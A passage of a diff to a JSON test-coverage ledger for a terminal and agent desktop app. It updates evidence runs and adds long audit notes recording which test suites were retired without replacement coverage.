-      ],
-      "evidenceRuns": [
-        {
-          "date": "2026-11-10",
-          "runner": "local",
-          "platform": "macos",
-          "result": "passed",
-          "command": "ORCA_BACKGROUND_LAUNCH=1 pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/snapshots/replay-guard.test.ts --maxWorkers=2",
-          "durationSeconds": 1.52,
-          "summary": "Retained replay-guard suite passed 19 cases on the module-layout wave1 candidate. The named breadcrumb case preserves real replay guard release and the hardcoded wedged event/pane1 with a fake terminal and mocked recorder. No identity-hash/redaction, live provider, diagnostics-bundle, fresh red/green, performance or CI-soak claim."
-        }
-      ],
+      "commands": [],
+      "testFiles": [],
+      "assertionRefs": [],
+      "evidenceRuns": [],
       "runtimeBudget": {
         "p95Seconds": 10,
         "scope": "renderer observability unit test"
@@ -9175,7 +8903,10 @@
         "Current coverage does not assert forbidden transitions across live Electron/provider flows.",
         "Module-layout wave1 intentionally retires complete prohibited owning registrations in src/renderer/src/components/terminal-pane/snapshots/replay-guard.test.ts. Lost alarms: a wedged release hands the terminal to pane recovery; a healthy parse completion never notifies pane recovery; HOLDS the guard while a slow replay is still parsing — a probe is queued, never a blind release; records correlatable replay identity without exposing worktree or PTY paths; holds past the probe deadline while sibling completions prove the parser alive; settles guards on a disposed xterm without certifying a wedge. No equivalent replacement coverage or pass for a reduced selector is claimed. All unrelated selectors and historical receipts retain their original scope.",
         "Module-layout wave1 retires this complete historical receipt because its explicit current selector was reduced. It does not validate the reduced suite. Original receipt verbatim:\n{\n          \"date\": \"2026-07-29\",\n          \"runner\": \"local\",\n          \"platform\": \"macos\",\n          \"command\": \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/replay-guard.test.ts\",\n          \"result\": \"passed\",\n          \"durationSeconds\": 0.201,\n          \"summary\": \"The focused file passed 29 tests; replay anomaly breadcrumbs preserved event classification while adding hashed tab/worktree/leaf correlation and a path-redacted PTY identity.\",\n          \"currentCommand\": \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/snapshots/replay-guard.test.ts\"\n        }",
-        "Module-layout wave1 historical richer-oracle metadata before identity-registration retirement, retained verbatim without current validation credit: {\"coverageNotes\":\"Renderer unit coverage proves replay-guard lost-completion and certified-wedge events carry correlatable tab, worktree, durable leaf, pane, and redacted PTY identity without exposing path-bearing values. Full provider lifecycle attribution and diagnostics-bundle artifact proof remain gaps.\",\"oracle\":\"Drop a replay write completion while allowing its FIFO probe to parse, then require the lost-completion breadcrumb to include pane ID, stable hashes for tab/worktree/leaf identity, and a path-redacted PTY ID. Existing wedge tests require both lost-completion and certified-dead paths to record their distinct event names. Full pane transition traces and diagnostics-bundle artifact proof remain follow-ups.\",\"redGreenEvidence\":{\"status\":\"partial\",\"evidence\":\"Tests fail if replay anomalies stop recording their event name, omit pane/terminal correlation, or expose the fixture's path-bearing worktree and PTY prefixes. Needs diagnostics-bundle artifact proof and full transition-trace evidence before promotion.\"}}"
+        "Module-layout wave1 historical richer-oracle metadata before identity-registration retirement, retained verbatim without current validation credit: {\"coverageNotes\":\"Renderer unit coverage proves replay-guard lost-completion and certified-wedge events carry correlatable tab, worktree, durable leaf, pane, and redacted PTY identity without exposing path-bearing values. Full provider lifecycle attribution and diagnostics-bundle artifact proof remain gaps.\",\"oracle\":\"Drop a replay write completion while allowing its FIFO probe to parse, then require the lost-completion breadcrumb to include pane ID, stable hashes for tab/worktree/leaf identity, and a path-redacted PTY ID. Existing wedge tests require both lost-completion and certified-dead paths to record their distinct event names. Full pane transition traces and diagnostics-bundle artifact proof remain follow-ups.\",\"redGreenEvidence\":{\"status\":\"partial\",\"evidence\":\"Tests fail if replay anomalies stop recording their event name, omit pane/terminal correlation, or expose the fixture's path-bearing worktree and PTY prefixes. Needs diagnostics-bundle artifact proof and full transition-trace evidence before promotion.\"}}",
+        "NEXT46 terminal-owner layout and whole-case policy: src/renderer/src/components/terminal-pane/snapshots/replay-guard.test.ts. Complete retired/reduced selectors lose their listed alarms; retained cases have no transferred historical pass or equivalent replacement coverage. Unaffected dated receipts retain only their original exact scopes. This metadata edit is not fresh execution evidence.",
+        "NEXT46 historical original active selector fields (verbatim JSON values; not current coverage):\ncommands: [\n        \"ORCA_BACKGROUND_LAUNCH=1 pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/snapshots/replay-guard.test.ts --maxWorkers=2\"\n      ]\ntestFiles: [\"src/renderer/src/components/terminal-pane/snapshots/replay-guard.test.ts\"]\nassertionRefs: [\n        {\n          \"file\": \"src/renderer/src/components/terminal-pane/snapshots/replay-guard.test.ts\",\n          \"assertions\": [\n            \"releases after the probe itself never parses (wedged pipeline) and reports it\"\n          ]\n        }\n      ]\ncoveredPlatforms: [\"macos\"]\ncoveredProviders: []",
+        "NEXT46 historical original evidenceRuns object (verbatim; no current-selector pass credit):\n{\n          \"date\": \"2026-11-10\",\n          \"runner\": \"local\",\n          \"platform\": \"macos\",\n          \"result\": \"passed\",\n          \"command\": \"ORCA_BACKGROUND_LAUNCH=1 pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/snapshots/replay-guard.test.ts --maxWorkers=2\",\n          \"durationSeconds\": 1.52,\n          \"summary\": \"Retained replay-guard suite passed 19 cases on the module-layout wave1 candidate. The named breadcrumb case preserves real replay guard release and the hardcoded wedged event/pane1 with a fake terminal and mocked recorder. No identity-hash/redaction, live provider, diagnostics-bundle, fresh red/green, performance or CI-soak claim.\"\n        }"
       ],
       "demotionRule": "Cannot promote if diagnostics are console-only, unbounded, or missing from support artifacts."
     },
@@ -9202,7 +8933,7 @@
       "providers": ["local", "daemon", "ssh", "remote-runtime"],
       "coveredPlatforms": ["macos"],
       "coveredProviders": [],
-      "coverageNotes": "Audit3246 retires NewRowsMarker reveal/no-repeat and pane-scoped beforeinput checks; skill-owner option availability/count/dedup/order; six styled Input/Textarea IME forwarding rows; the static Codex/OpenCode smart-key inventory; tab-map AST ratchet diagnostic fixtures; child-roster work-budget and retained-aggregate alarms; malformed persisted floating-cwd fallback/no-crash/empty exact-root checks; the unanswered-host empty-list discriminator; the direct invalidated-cache commit-false assertion; one redundant digit-keyup IME row; cached non-supported Claude title-generator rows; and the duplicate late naming-result singleton. These root broad commands lose those specific alarms without equivalent replacement. Distinct retained owner/state checks have their own bounded claims; the real scheduler still rejects stale response data, while the direct false-return alarm is retired. Audit3231 retires supported-host restore-pane key mapping, closed/open creation-sidebar toggle visibility, unrelated scope-error/null classification and quick-submit reveal/no-create checks. These broad commands lose those real narrow alarms; no replacement coverage is claimed. Audit3219 removes the synthetic Cmd+J extra-source suite; this broad command no longer checks its match/tie placement and selection, announced count, empty-query cap, or workspace hiding with retained recent tabs. No replacement coverage is claimed. Audit3209 composes approved sources3202/3206: deliberately retires seven authored/expanded cases in four whole suites without equivalent replacement. Work-item queries lose real GitHub/GitLab oversized ASCII secret-prefix empty-query and whitespace-before-trim refusal alarms; inputs share the imported size bound and exercise only its fast length branch, with no multibyte or actual provider/exposure guarantee. Skill sharing loses complete/partial managed-bundle and destination-ambiguity association checks plus three negative origin/path/scheme admission examples; these do not establish uploaded contents, arbitrary-URL fetching, authorization or execution. Retain exact originless-project direct-link fallback, cloud-delete confirmation, bundled-target repair/owner isolation and explicit Windows-host preference over stale WSL suites. Rejected3201 runtime-preference removal is excluded. No real cloud/network/host/disk, mobile or mixed-version execution validation is claimed. Audit3200 composes approved source3194: deliberately retires thirteen authored registrations/twenty-seven expanded cases in six whole automation host/list policy suites without equivalent replacement. Real RPC category/retryability and wrapped-timeout recognition, unscoped-failure/scoped-success health evidence precedence, exact-ID create selectors and per-run workspace omission, paired-web local/SSH/absent host catalog routing, incompatible/removed/unhydrated/offline execution health, runtime-before-nested-SSH recovery dispatch, and no-owned-focus/successor/foreign-list focus policy alarms are consciously lost. Retain exact20line orphan allow/refuse/precondition and exact90line cross-host same-ID search suites. No retry-timer/fence lifecycle, actual reconnect/network/write delivery, native focus, mobile/mixed-version runtime or disk persistence coverage is claimed. Audit3191 combines approved source3182/3187/3188: deliberately retires thirteen authored Vitest registrations and fifteen expanded cases, including five whole suites, without equivalent replacement. Attachment intake loses real portal/native-capture terminal interception and unowned-container refusal, immediate child-only committed availability/claim-ref negotiation and delivery, and direct-target over stable focused/background composer routing through disable/re-enable/remount and independent question focus. Exact destination/cache/draft and final-stat owner/workspace/File-release suites remain; they do not replace Surface recipient routing. Automation authoring loses destination runtime catalog membership, local/direct-SSH exclusion of paired-runtime repos, unknown-runtime empty catalog, logical project/host/setup/repo/path context payload, and missing/nonready setup refusal; these were genuine direct helper alarms, while exact schedule transformation, legacy schedule and setup-decision suites remain. Agent picker loses setup-chat/terminal/missing-installer/unsupported-or-unknown-host row projection samples and the ordinary unsearched menu variant; the entire original26-line resume recipe suite remains, including reported bypass versus default/absent permission modes, as does the exact search-result menu callback with its fixtures, model/effort commits and staged Arguments reopen outcome. Rejected predecessor3180 full recipe deletion is excluded. No actual native drag/cursor/focus/IME, upload bytes or disk/restart persistence, full automation save/scheduler/runtime transport, real resume-process flags/environment delivery, or native menu/rendered layout validation is claimed. Audit3178 combines source3169/3170/3175: deliberately retires eight authored units (six Vitest cases and two imperative custom relay scenarios), including two whole suites, without equivalent replacement. Voice Section loses per-model pending-delete isolation across interleaved A/B completion and the two-success refresh-call alarm; exact VoicePane delayed key-clear/newer enabled-toggle merge remains and does not replace row deletion coverage. Speech loses dedicated rating-scale/inclusive-ceiling, unsupported-versus-unmeasured, explicit/system-language precedence/locale alias, accuracy versus fast named/default/best-measured selection, and unmeasured/no-match examples; exact offered-user-pick versus retired-selection case and its fixture remain. Relay loses legacy ping-delivery count/liveness sampled before the silence deadline and grouped malformed Bearer/host-ID 401/429 routing checks; twelve real Worker/DurableObject/shipped-client scenarios remain, not equivalent replacement for those narrow alarms. Six prior speech cases are not all deleted: approved successor3175 keeps the original user-choice case. No actual credential/file persistence, native/GPU/engine/download delivery, production assignment policy or deployed-runtime validation is claimed by this reduction. Audit3165 combines source3160/3162: deliberately retires six authored/expanded cases across three whole suites without equivalent replacement. Launch/status losses: observed React-render pending/resuming coordination across settings and deferred offer read; stale-offer reread suppressing dialog reopen; held-local-chat recovery visibility with new-chat preferences off; disabled-local admission avoiding offer RPC despite an injected but unconsumed paired-tab fixture; and run-only lost-reply uncertainty reachability until direct viewed-run retirement. Launch probe does not prove arbitrary synchronous-store atomicity, the paired fixture is not remote runtime enrollment, and the status case directly marks viewed state rather than rendering the summary. Crew-hook losses: old-host method_not_found cache persists across party changes but is released by independently supplied connection generation/verified pairing status or pairing revision, with actual frame publication and teardown. These are real narrow coordination, admission, uncertainty and mixed-version cache alarms consciously lost. Exact web verified-runtime writer handoff guard remains; it does not replace those alarms or prove live host/native/mobile delivery. Audit3156 combines3147/3150/3152/3153/3154: deliberately retires39authored/40expanded native-chat recovery cases, eight whole suites and two orphan test-support files without equivalent replacement. Lost alarms: lost-reply unconfirmed reconciliation, skipped rows/counts and missed-frame repair, unknown/pending outcome and omitted-failure-list compatibility, uncertain history after dismissal, retry/refusal/dismiss lifecycle, hidden/consumed picker ownership, result-tree keyboard focus/disclosure and all-skipped retirement; unconfirmed-over-conflict guidance and failed-chat changes despite older host timestamps; nearest-listed ancestor/cyclic forest shape, descendant membership, host ordering/missing-host local fallback; skipped/readiness/admission counts, provisional skip/progress monotonicity, early per-chat verdicts with batch pending protection, older-host waiting, start-slot/delivery distinction, retry-over-failure and unknown-after-withdrawal attention; remote snooze/reconnect/reoffer, unseen mixed summary through open/close, watched completion retirement, new success beside old failure, failed-reread mixed-result preservation, filter/collapse completion resets, retry summary replacement and current-offer/history selection; cross-host workspace identity, rendered cyclic reachability, nested tri-state/toggle propagation, project eligibility isolation and collapse preserving selection. Exact fallback-list completion barrier, batched verdict/cleanup retention, stale-read versus dismissal publication race, and requested-but-never-rendered finished-run retirement remain; they do not replace retired alarms. Audit3146 combines source reviews3132/3133/3135/3138/3143: intentionally retire20authored/31expanded cases without equivalent replacement. Provider-session losses: structured-native terminal-resume exclusion, metadata-less completed identity, new-turn completion clearing, Pi provider-only/periodic/manual promotion, changed-transcript launch-config isolation, Pi/omp/prime-agent completed-session remote/manual-shutdown promotion, and quit/done precedence over heartbeat. Side-thread/question losses: finished-pane acquisition, hidden title/recap states, local/relay/relay-done conversation takeover with prompt/session/child resets, plain-message abandonment, compaction/session replacement and completion resets. Codex startup losses: incoming-owner cached child replacement, old-relay foreign live-session correction, completed foreign-root turn-fact permutations. Transcript losses: real temporary-JSONL partial sibling/final-child completion, unlabelled child attribution, compact cached replay preservation and100/1000completed-child roster retention/release. Compiler-ratchet losses: valid-line uncompiled-list parser grammar examples and injected-existence stale-path filtering; these did not exercise actual filesystem canonicalization or build exclusion. These are real lifecycle, ownership, replay, liveness and retention alarms, including recent#40246 regressions, deliberately lost. Retained conditional record replacement, clockless root/SSH owner isolation, persisted main-thread fork rejection, partial/final question-answer lifetime, cached-roster/missing-ID/live HTTP/durable startup boundaries and restarted-relay refusal/acceptance do not replace those losses. No native/SSH/WSL execution or equivalent coverage is claimed. Audit3128 scoped coverage reduction: Audit3121 removes VoiceDictationLanguageSetting.test.tsx (Spanish-to-es callback and unsupported-model Korean option presence) and voice-speech-model-rows.test.ts (provider/language-order/retired-on-disk list policy); these real narrow alarms are deliberately retired without replacement. VoiceSpeechModelSection per-model concurrent deletion remains unchanged. Audit3122 removes the direct absolute/parent-segment sparse-directory exception-type sample and the five-row IPC sparse-preset error-code/non-save table (two authored/six expanded cases). Those real typed-validation and IPC refusal/error-code alarms are deliberately retired. Keep both real symlink/junction floating-directory trust cases and the minimal RPC structured validation-reason serialization case. The RPC case does not replace IPC save/refusal behavior, typed normalization for both path inputs, actual Git sparse checkout or rendered localization. No equivalent replacement or fresh test/runtime/platform/remote/performance validation is claimed. Audit3124 removes ExperimentalPane.test.tsx (ordinary Pet switch callback), WorkspaceDirectorySetting.test.tsx (padded absolute saved-path normalization/no-write blur), and repository-search.perf.test.ts (navigation/selected-pane builder-call policy, fixture cardinality/nonempty entries and renamed project keyword inclusion). These real narrow alarms are retired without replacement; RepositoryPane.search.test.tsx search-to-sparse-editor request remains unchanged. Audit3129: resolver Windows case-insensitive and POSIX case-sensitive configured-env composition plus mocked-base launch-preflight Windows composition are intentionally no longer checked by the two deleted suites. No equivalent coverage claimed. Keep runtime-structured-agent-host-env.test.ts unchanged: configured Windows Claude-home account identity and host-account precedence remain checked. Audit3114 incorporates source3101: retire three structured Claude child-environment wrapper cases covering inherited stamp isolation/default and explicit entrypoint, Windows SDK-key canonicalization/default/duplicate-key order, and configured lookup/final environment/config-dir conjunction. Keep direct auth/session sanitation and Windows-versus-Linux overlay checks, actual executable lookup from supplied inherited PATH, native Windows child environment delivery, and stale option-mutation fencing. These are not equivalent replacements for the retired wrapper alarms. No fresh test/runtime, real login-shell probe, Claude SDK startup, remote/mixed-version, UI or performance result is claimed. Audit3114 incorporates source3105: retire 17 authored/20 expanded daemon launch-note cases, including the entire two-case SessionLaunchNote suite. Deliberately lose split-marker carry across same-token re-arm, stale-token retirement refusal, foreground tri-state and serial settlement, omitted-note/no-incarnation mixed-version policy, sticky retirement, first-incarnation/replacement launch preservation and held-launch precedence. Keep only the unchanged unresolved foreground-read race against a later finished attach. Supplied notes/foreground and runtime calls do not establish actual daemon/main restart, SSH, native Windows observation, mobile UI, equivalent replacement or fresh runtime/performance validation. Audit3114 incorporates source3109: retire six authored/35 expanded pricing cases: 21 accepted model-name examples, 10 unsupported/future-model fail-closed examples, malformed TTL clamp, unknown-model estimate refusal, flat-model long-context disregard and oversized long-context clamp. Keep mixed five-minute/one-hour write allocation and short/all-long/mixed long-context allocation with original fixed oracles. Real parser/refusal/bounds alarms are knowingly lost without equivalent replacement; retained tests do not validate provider rates, actual billing or request threshold classification. Preserve the archived usage-scan-append source-freeze receipt without transferring historical execution/performance credit. No fresh runtime result is claimed. Audit3108 source-only reduction (3094/3095/3100): retire 27 authored/30 expanded cases, including complete markdown view-state, file-preview link-open and CLI agent-server-route suites, without replacement. Deliberate losses include preview visibility/reference lifetime and same-path owners; SSH stat, directory/missing-target, explicit-null owner, nonmarkdown line/column, local URI routing, remote-to-client guard and same-file reuse; document-preview source-owner/folder/reuse routing, stable grant location and outside-workspace POSIX/Windows request projection; and verified remote CLI send/check refusal, suggested --on argv/copy, shell no-probe bypass, unverified-launch admission and older-peer refusal. Retain two markdown source-runtime/qualified-reveal alarms, one stale grant-rejection fence and two remote read/mutation evidence policies, with original callbacks. Final last-wins reveal did not prove transient cancellation; CLI prerequisite did not prove no real send, and envelope tests do not execute server refusal. No fresh runtime, rendered UI, actual file/SSH/paired transport, authorization, mixed-version or performance result is claimed. Audit3096 source-only reduction (3087/3088): retire 69 authored/76 expanded cases, including complete recovery-portals and reconnect-banner suites. Intentionally lose dead/default TUI replay, generated alternate-frame style composition, reset/mode/dimension and legacy missing-mode-boundary alarms, UI notice/action/reveal policies, and isolated recovery lifecycle variants, without equivalent replacement. Retained registrations and callbacks are unchanged; headless cells are not pixels, and no fresh runtime, host, SSH, WSL, rendered-app or performance result is claimed. Audit3086 source-only reduction (3079/3080/3081): intentionally retire 93 authored/100 expanded mock-boundary cases, including the complete spawn-errors and SSH reconnect overlay suites, without replacement. Retired alarms include spawn classification/ownership, reply ceilings and renderer-write failure recovery, disconnect/detach fencing branches, authority facts, and overlay retry/visibility wiring. Retained callbacks are unchanged; no fresh execution, real PTY/SSH, rendered UI, or performance result is claimed. Module layout SSH policy: Retire the multiplexer private-clock saturation registration, the writer saturation transition-count registration and the changed-source dated writer/backpressure receipt. Retained byte delivery, lane order, fairness, settlement and cancellation cases are unvalidated by that historical receipt. No equivalent replacement, new execution, measured performance, live SSH/WSL or cross-platform proof is claimed. The unchanged WSL protocol receipt retains only its original command scope. Historical prior account (preserved verbatim): Audit2432: The broad unit command loses the isolated BranchPicker open-change notification sample. Its unique true/false callback alarm is intentionally retired; reopening/status-refresh behavior was not exercised. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2425: The broad unit command loses the workspace-copy-status supplied readError forwarding sample. It did not exercise the branch-switch blocking promised by its title. This alarm is intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2417: The broad unit command loses two ordinary clean Git cherry-pick/revert success samples and two terminal startup foreground-read work-budget samples. These unique alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2412: The broad unit command loses the whole six-case fake-React-hook scroll-anchor suite, two generic draft-retention samples, a simple new-agent order sample, a real history-publication batching-count sample, an unmounted handoff abort/timer sample and three basic WSL preview/error samples. These alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2404: The broad unit command loses the standalone share-name lookup 503 propagation suite, initial deletion placement-kind sample, direct changed-mtime stale sample, first-pass rollback existence example and abandoned-preparation directory sample. These exact alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2397 review amendment: The broad unit command loses three standalone suites, two partial-case definitions and two URL table rows across package/download/placement tests. Keep initial wrong-port authorization, modified independent-copy digest refusal and abort-after-begin cancellation dispatch. The remaining alarms are deliberately retired; no equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2393 current-parent refresh2401: Remove the basic skill-install service alias sample and original public managed-remove receiptless refusal case. Preserve the upstream request ownership suite and transaction interruption coverage. No equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2389: The broad unit command loses the missing-preview suite, plain-global destination sample and prepublished-receipt recovery example. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2385: The broad unit command loses four authored walker/staging/protocol examples (six expanded cases); no equivalent replacement or fresh validation is claimed for the reduced suite. Audit2383: The unscoped Vitest command no longer includes the removed Antigravity catalogue suite; its exact provider-root/owner example has no equivalent replacement or fresh validation claim. Audit2377/2381: The unscoped Vitest command includes the reduced bundled-skill and native-discovery suites; the eight removed backup/legacy/catalogue/symlink/SSH-builder examples have no replacement-equivalence or fresh validation claim here. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2070 (sources2068/2069): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime.test.ts: ordinary registration cleanup removes only await import('./orca-runtime-tests/hooks-and-hosted-review.spec'). src/main/ssh/ssh-multiplexer-transport-writer.test.ts: reports saturated epochs and their drain boundary exactly once. src/main/runtime/orca-runtime-tests/worktree-removal-archive-hook-gate.spec.ts: removes and records the waiver when the failure is explicitly overridden; removes without an override record when the hook succeeds; removes when the hook is configured but not requested; removes when no archive hook is configured; holds a desktop removal in the same repo until this one is accepted; joins a desktop removal of the same worktree accepted while this one waited. src/main/runtime/orca-runtime-tests/worktree-ps-agent-row-dismissal.spec.ts: drops the row as soon as the user dismisses it, without waiting for the PTY to exit; tells paired clients to republish on the transition and on the dismissal; rejoins a row through its %s handle after pane ownership clears. src/main/runtime/orca-runtime-tests/hooks-and-hosted-review.spec.ts: reports an error when the SSH filesystem provider is unavailable; reports an SSH orca.yaml as an error without reading any filesystem; reports ok for a local repo hook check; reads SSH issue commands as absent and drops writes without touching any filesystem; allows host integration slug helpers for SSH repos through provider-aware GitHub clients; routes runtime GitHub repo identity helpers through the selected WSL project runtime; routes runtime GitHub issue and work-item actions through the selected WSL project runtime; pins explicit origin preference on runtime open-by-number work item lookups; forwards check-details cancellation without local Git overrides. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. The historical receipt/currentCommand selecting src/main/ssh/ssh-multiplexer-transport-writer.test.ts remains historical and is not a passing result for the reduced current command. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Delete the complete tail-wait memo suite: its sole current authored callback checks supplied fromTail/blocked field values. Retire all three broader memoization/equivalence/eviction assertion aliases; they are not backed by retained source callbacks. No scan-work budget, sustained output, physical terminal or resource measurement is assigned to this removed test. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1674 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1634 removes low-value IPC, filesystem and runtime projections, argument inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained cancellation, ownership, authorization, filesystem and SQLite boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Local macOS evidence covers main-process pending-output and projection-admission caps, saturated-tail wait detection, direct-SSH source retention/accounting, always-on V1 negotiation with legacy peer fallback, exact provider-generation pause ownership, renderer exit/data ordering, decoder input bounds, bounded reconnect scheduling, and WSL stdio transport settlement through deterministic unit contracts. A joined main/runtime oracle exercises renderer-sourced headed semantics and headless-model snapshot semantics without launching a live paired server. Separately, a macOS-hosted Docker OpenSSH run exercises only the deployed Linux relay and direct SSH provider with an exact 256 KiB source-credit plateau, concurrent PTY typing, fixed-size filesystem frames, Git churn, and owner-lease reconnect. Neither deterministic topology labels nor Docker SSH constitute live headed desktop, headless orca serve, or physical WSL evidence; local/daemon, prior-version daemons, Windows named pipes/ConPTY, folder workspaces, and mixed-version clients also remain uncovered. Audit1312 removes low-value imported specs from aggregate test drivers; old whole-driver execution receipts are archived. Retained registrations are unchanged. No equivalent replacement coverage is claimed. Audit1383: src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts reduced. Lose command-list/receipt/default/background activation matrices whose provider spawn returns canned IDs. Retained test proves actual tab allocation separation, not terminal startup. No equivalent replacement coverage is claimed. Existing exact unaffected receipts and their platform/provider/budget claims remain scoped to unchanged selectors. Changed optional selectors have no new execution result. Audit1401: src/main/runtime/orca-runtime-tests/mobile-session-tabs-duplicate-pty-repair.spec.ts removed. Loses listing-on-already-repaired-data alarm; it never established runtime repair invocation. src/main/runtime/orca-runtime-tests/mobile-session-tabs-split-agent-tab.spec.ts removed. Loses actual mobile split sibling shell versus recorded-agent resume command alarms; no equivalent coverage asserted. src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts removed. Loses separate setup/startup tab result in that manually assembled path. src/main/runtime/orca-runtime.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result.",
+      "coverageNotes": "Audit3375 composes root-adopted3370/independent3371 and3373/independent3374: intentionally retires79 authored registrations/84 expanded cases, including39 whole suites, without equivalent replacement. Lost alarms include federation field/parser inventories; Claude rejected-key precedence, credential clone redaction, managed-versus-user hook preservation and CLI defaults; setting/status/activity projections, mocked SSH/notification/reveal/Linear refusal, fake-clock reconnect and noise; image-fold artifact visibility, paste eligibility, setup trust, scripted ACP error-to-journal publication and ligature cache tuple aliasing; plus supplied folder-runner uniqueness, mobile host-overlay/credential/update/preference races, status/markup/title/keyed-row projections, subscriber cleanup, cancellation/close/refusal/link-issue and mirror suppression alarms. Retained3373 merger contiguity, dual-clock overdue-resume exactly-once, rejected-paste IPC sink and annotation schema roundtrip remain bounded. Retained actual HTTP/OSC status composition, destructive sibling-filesystem isolation, external contrast invariant and fixture CSS pixel intervention remain narrower. Original reviewed87authored/92expanded become9/9; current OpenCode suite adds two preserved upstream cases and the synthetic-title suite gained one Cursor policy mock-call case, independently reviewed for removal in root3378; current90/95 become11/11. That Cursor suppression/ready-frame regression alarm is intentionally lost; it does not observe native title ownership or tab flicker. For3370 only the peer was independently blind, with author exposure explicit;3373/3374 both blind pins were verified. This broad root unit command selects the reduced root unit suite; UNIT_INCLUDE excludes mobile tests, which require the existing mobile runner; retained Playwright component-pixel spec uses its separate existing headless fixture runner and is not validated by the broad unit command. No fresh execution, actual agent/shell/provider, OS material/focus, historical import equivalence, mobile, mixed-version or cross-platform evidence is claimed. All dated receipts retain their original scope. Audit3368 composes root-adopted3363/3364 and3367/3369: intentionally retires181 authored registrations/196 expanded cases, including28 whole suites, without equivalent replacement. Lost alarms include hibernation attention/liveness/backoff/sequential teardown and inventory, host launch compatibility/legacy/Kimi/resource cleanup, terminal recovery parser/pause/quarantine/remount, window-visibility omission-fence lifetime, launch-option rendered Start, sleeping-resume saved recipe/WSL quoting/cancellation, plus removed project/window/input variants. Additional tiny-suite losses include sentence/label/field/default inventories, credential omission, Windows argument/environment mapping, URI decoding, diagnostics, provider classification and fake-clock callback/parser examples. Retained ten registrations/twelve expanded cases include two literal Unicode Mn/Cf zero-width range guards in the actual character-range algorithm and protect narrower delayed editor bytes/destructive ownership, mounted hidden collision repair, ten transport epochs, duplicate-command refusal, caller timeout typing, executor unknown-opener refusal and failed-chunk user bytes. This broad unit command selects the reduced suite; no fresh runtime, real provider/network/PTY, filesystem restart, native UI, historical import equivalence, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3362 composes root-adopted3358/independent3360: intentionally retires129 authored registrations/140 expanded cases, including four whole suites, without equivalent replacement. Lost alarms include supplied orphan-adoption retry/malformed inventory/cancellation; fake-terminal replay parser/wedge/disposal callbacks; all-host catalog metadata and Windows preferences; host keepalive/protocol/stale/settings failures; and removed exact-stop/suppression, source save lifetime, diff-note queue, rename/editor close, input flood/chunk refusal/limits, purge and creation examples. Retained18 registrations/21 expanded cases protect narrower ownership, generation, dirty-state, queue convergence, encoding and attachment-lease outcomes. No replacement or keeper quota claim. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH/PTY/xterm parser, disk restart, native UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3359 composes root-adopted source3355/independent3356: intentionally retires130 authored registrations/139 expanded cases, 